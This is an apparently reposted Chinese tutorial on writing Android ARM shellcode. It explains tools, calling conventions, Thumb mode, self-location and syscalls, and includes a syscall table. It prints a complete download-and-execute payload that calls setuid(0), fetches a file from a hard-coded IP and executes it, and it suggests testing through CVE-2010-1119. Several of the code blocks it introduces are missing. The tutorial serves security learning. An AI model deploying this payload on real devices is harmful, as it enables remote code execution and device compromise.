1. 程式人生 > >【移動安全高階篇】————3、Android系統ShellCode編寫

【移動安全高階篇】————3、Android系統ShellCode編寫

隨著Android手機的普及,Android系統安全日益受人關注。漏洞攻防是安全的一大課題,其中自然少不了shellcode的編寫。本文將以提出問題、解決問題的方式教你如何編寫Android系統shellcode。由於篇幅限制,本文將不對ARM指令集進行介紹,建議沒有基礎的讀者先參考相關手冊。

基礎部分

使用什麼工具?

GNU ARM彙編器as和GNU ARM聯結器ld是編寫Android系統shellcode必不可少的兩個工具。Android NDK提供了Cygwin、Mac和Linux版本的as和ld,為了方便在Windows環境下開發,筆者在附件中提供了Windows版本的as和ld。
as和ld的使用方法很簡單,假設sc.s是我們編寫好的shellcode原始檔,先使用as sc.s -o sc.o命令將sc.s彙編成目標檔案sc.o,再使用ld sc.o -o sc將sc.o連線成可執行檔案sc。文中用到的為數不多的as彙編偽指令將在相關注釋中說明,具體請參考“Using as”手冊。
除了as和ld,我們還要用IDA作為反彙編器,IDA的使用想必不用多做介紹。用IDA記錄下sc中shellcode的頭部和尾部,就可以用十六進位制編輯器從sc中提取shellcode了。

函式引數如何傳遞?

函式引數從左到右依次存入R0~R3,如果引數個數大於4個,則剩餘引數從右到左依次入棧,返回值存入R0。

如何給shellcode瘦身?

ARM處理器支援兩種指令集:ARM指令集和Thumb指令集。ARM指令集指令長度為32位,Thumb指令集指令長度為16位。Thumb指令集的限制更多,比如立即數大小隻能在0到0xFF範圍內。
為了給shellcode瘦身,我們更傾向於使用Thumb指令集編寫shellcode。ARM處理器總是從ARM指令集開始執行,所以我們的shellcode頭部是一段ARM指令集程式,負責切換到Thumb指令集。

如何自定位?

自定位是編寫shellcode的關鍵技術之一,也就是所謂GetPC。在x86環境下,通常有CALL GetPC、FSTENV GetPC、SEH GetPC三種方式。而在ARM環境下,事情就變得簡單很多,因為指令指標PC可以直接訪問。
ARM彙編還提供了ADR偽指令,彙編器會將其轉換為相對PC定址的指令,所以我們不用擔心自定位問題。值得注意的是,LDR指令通過絕對地址定址,當基地址改變時根據重定位段資訊進行重定位。用LDR指令定址一個符號在shellcode編寫中是錯誤的,這點和x86類似。

如何定位函式?

定位函式是編寫shellcode的關鍵技術之二。在Windows環境下,通常通過PEB定位kernel32基地址,然後遍歷kernel32輸出表定位API。在Linux環境下,直接系統呼叫。
 Android系統呼叫由gensyscalls.py自動生成,以execve.S為例,程式碼如下:

__set_syscall_errno程式碼如下:

從上述程式碼可以看出,Android通過呼叫軟中斷,切換到特權模式,執行系統呼叫,r7存放系統呼叫號,軟中斷號不重要。文末將附上Android系統呼叫表。

實戰部分

解決了上述問題之後,我們可以編寫shellcode了,先寫一個簡單的Connect Back Shell,程式碼如下:

使用as和ld生成可執行檔案sc,下一步就是測試shellcode了。讀者可以提取shellcode並利用公開的漏洞如CVE-2010-1119測試,筆者為了方便直接測試sc。
假定我們的工作目錄在D盤,使用nc -vvlp 2222命令bind到2222埠。啟動另一個命令列,啟動模擬器,使用adb push D:/sc /data命令將sc複製到data目錄下,使用adb shell命令進到shell,使用cd /data命令進到data目錄,使用chmod 777 sc命令設定sc可執行,使用./sc命令執行sc,如圖1所示。sc執行後我們已經拿到shell了,如圖2所示。

編寫shellcode難免出錯,自然少不了除錯工作,筆者建議使用IDA遠端除錯,方法很簡單。先將IDA目錄下的android_server複製到模擬器中並執行,使用adb forward tcp:23946 tcp:23946命令轉發埠,使用IDA開啟sc,選擇Remote ARM Linux/Android debugger偵錯程式,在Debugger/Debugger options…中勾選Stop on debugging start,在Debugger/ Process options…中填Hostname為localhost,就可以F9開始除錯了,如圖3所示。

最後我們編寫一個HTTP下載執行的shellcode,程式碼如下:

.globl _start
.align 2
_start:
.code 32
  adr r0, thumb + 1
  bx r0
thumb:
.code 16
  mov r0, #0
  mov r7, #213
  swi #0 @setuid32(0)
  @建立檔案
  mov r2, #0x1C
  lsl r2, #4 @S_IRWXU
  mov r1, #0x24
  lsl r1, #4
  add r1, r1, #1 @O_CREAT|O_WRONLY|O_TRUNC
  adr r0, name
  mov r7, #5
  swi #0 @int fd = open(name, O_CREAT|O_WRONLY|O_TRUNC, S_IRWXU)
  mov r4, r0
  mov r2, #6 @IPPROTO_TCP
  mov r1, #1 @SOCK_STREAM
  mov r0, #2 @AF_INET
  mov r7, #250
  add r7, #31
  @建立連線
  swi #0 @int sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  mov r5, r0
  mov r2, #16
  adr r1, addr
  mov r7, #250
  add r7, #33
  swi #0 @connect(sock, addr, 16)
  @計算http頭長度
  adr r2, head
  mov r1, r2
  b L1
L0:
  add r2, r2, #1
L1:
  ldrb r0, [r2]
  cmp r0, #0
  bne L0
  sub r2, r2, r1
  mov r0, r5
  mov r7, #4
  swi #0 @write(sock, head, strlen(head))
  @跳過http頭
  mov r3, #0
  adr r6, nrnr
  ldr r6, [r6]
L2:
  mov r2, #252
  sub sp, sp, #252
  mov r1, sp
  mov r0, r5
  mov r7, #3
  push {r3}
  swi #0 @int len = read(sock, buf, 252)
  pop {r3}
  cmp r0, #0
  ble L7
  mov r2, #0
L3:
  lsl r3, r3, #8
  mov r1, sp
  add r1, r2
  ldrb r1, [r1]
  add r3, r3, r1
  add r2, r2, #1
  cmp r3, r6
  beq L4
  cmp r2, r0
  bne L3
  add sp, sp, #252
  b L2
L4:
  mov r1, sp
  add r1, r2
  sub r2, r0, r2
  b L6
  @寫入檔案
L5:
  mov r2, #252
  sub sp, sp, #252
  mov r1, sp
  mov r0, r5
  mov r7, #3
  swi #0 @int len = read(sock, buf, 252)
  cmp r0, #0
  ble L7
  mov r2, r0  
  mov r1, sp
L6:  
  mov r0, r4
  mov r7, #4
  swi #0 @write(fd, buf, len)
  add sp, sp, #252
  b L5
L7:
  add sp, sp, #252
  mov r0, r5
  mov r7, #6 
  swi #0 @close(sock)
  mov r0, r4
  swi #0 @close(fd)
  @執行檔案
  mov r1, #0x1C
  lsl r1, #4 @S_IRUSR|S_IWUSR|S_IXUSR
  adr r0, name
  mov r7, #15
  swi #0 @chmod(name, S_IRUSR|S_IWUSR|S_IXUSR)
  mov r2, #0
  mov r1, #0
  push {r1}
  adr r0, name
  push {r0} @argv[0]
  mov r1, sp @argv
  mov r7, #11
  swi #0 @execve(name, argv, NULL)
  mov r0, #0
  mov r7, #1
  swi #0 @exit(0)
addr:
  .short 2 @AF_INET
  .ascii "\x00\x50" @port
  .byte 202, 120, 2, 102 @ip
  .zero 8
head:
  .ascii "GET /"
  .ascii "" @file
  .ascii " HTTP/1.1\r\n"
  .ascii "HOST: "
  .ascii "www.android.com" @host
  .ascii "\r\n\r\n\x00"
  .zero 2
name:
  .asciz "xxx"
nrnr:
  .ascii "\n\r\n\r"

Android系統呼叫表

1  exit  2  fork
3  read  4  write
5  open  6  close
9  link  10  unlink
11  execve  12  chdir
14  mknod  15  chmod
19  lseek  20  getpid
21  mount  26  ptrace
29  pause  33  access
36  sync  38  rename
39  mkdir  40  rmdir
41  dup  42  pipe
43  times  45  brk
51  acct  52  umount2
54  ioctl  55  fcntl
57  setpgid  60  umask
61  chroot  63  dup2
64  getppid  66  setsid
67  sigaction  72  sigsuspend
73  sigpending  75  setrlimit
77  getrusage  78  gettimeofday
79  settimeofday  83  symlink
85  readlink  88  reboot
91  munmap  92  truncate
93  ftruncate  94  fchmod
96  getpriority  97  setpriority
103  syslog  103  syslog
104  setitimer  105  getitimer
114  wait4  116  sysinfo
118  fsync  120  clone
122  uname  125  mprotect
126  sigprocmask  128  init_module
129  delete_module  132  getpgid
133  fchdir  140  _llseek
142  _newselect  143  flock
144  msync  145  readv
146  writev  148  fdatasync
150  mlock  151  munlock
154  sched_setparam  155  sched_getparam
156  sched_setscheduler  157  sched_getscheduler
158  sched_yield  159  sched_get_priority_max
160  sched_get_priority_min  161  sched_rr_get_interval
162  nanosleep  163  mremap
168  poll  172  prctl
174  rt_sigaction  175  rt_sigprocmask
177  rt_sigtimedwait  180  pread64
181  pwrite64  183  getcwd
184  capget  185  capset
186  sigaltstack  187  sendfile
190  vfork  191  ugetrlimit
192  mmap2  195  stat64
196  lstat64  197  fstat64
198  lchown32  199  getuid32
200  getgid32  201  geteuid32
202  getegid32  203  setreuid32
204  setregid32  205  getgroups32
206  setgroups32  207  fchown32
208  setresuid32  209  getresuid32
210  setresgid32  211  getresgid32
212  chown32  213  setuid32
214  setgid32  217  getdents64
219  mincore  220  madvise
221  fcntl64  224  gettid
240  futex  248  exit_group
250  epoll_create  251  epoll_ctl
252  epoll_wait  257  timer_create
258  timer_settime  259  timer_gettime
260  timer_getoverrun  261  timer_delete
262  clock_settime  263  clock_gettime
264  clock_getres  265  clock_nanosleep
266  statfs64  267  fstatfs64
269  utimes  280  waitid
281  socket  282  bind
283  connect  284  listen
285  accept  286  getsockname
287  getpeername  288  socketpair
290  sendto  292  recvfrom
293  shutdown  294  setsockopt
295  getsockopt  296  sendmsg
297  recvmsg  314  ioprio_set
315  ioprio_get  316  inotify_init
317  inotify_add_watch  318  inotify_rm_watch
322  openat  323  mkdirat
325  fchownat  327  fstatat64
328  unlinkat  329  renameat
333  fchmodat  356  eventfd2
359  pipe2  983042  ARM_cacheflush
983045  ARM_set_tls    

 

CVE-2010-1119,其中shellcode為sc1.s

原文:https://bbs.pediy.com/thread-155774.htm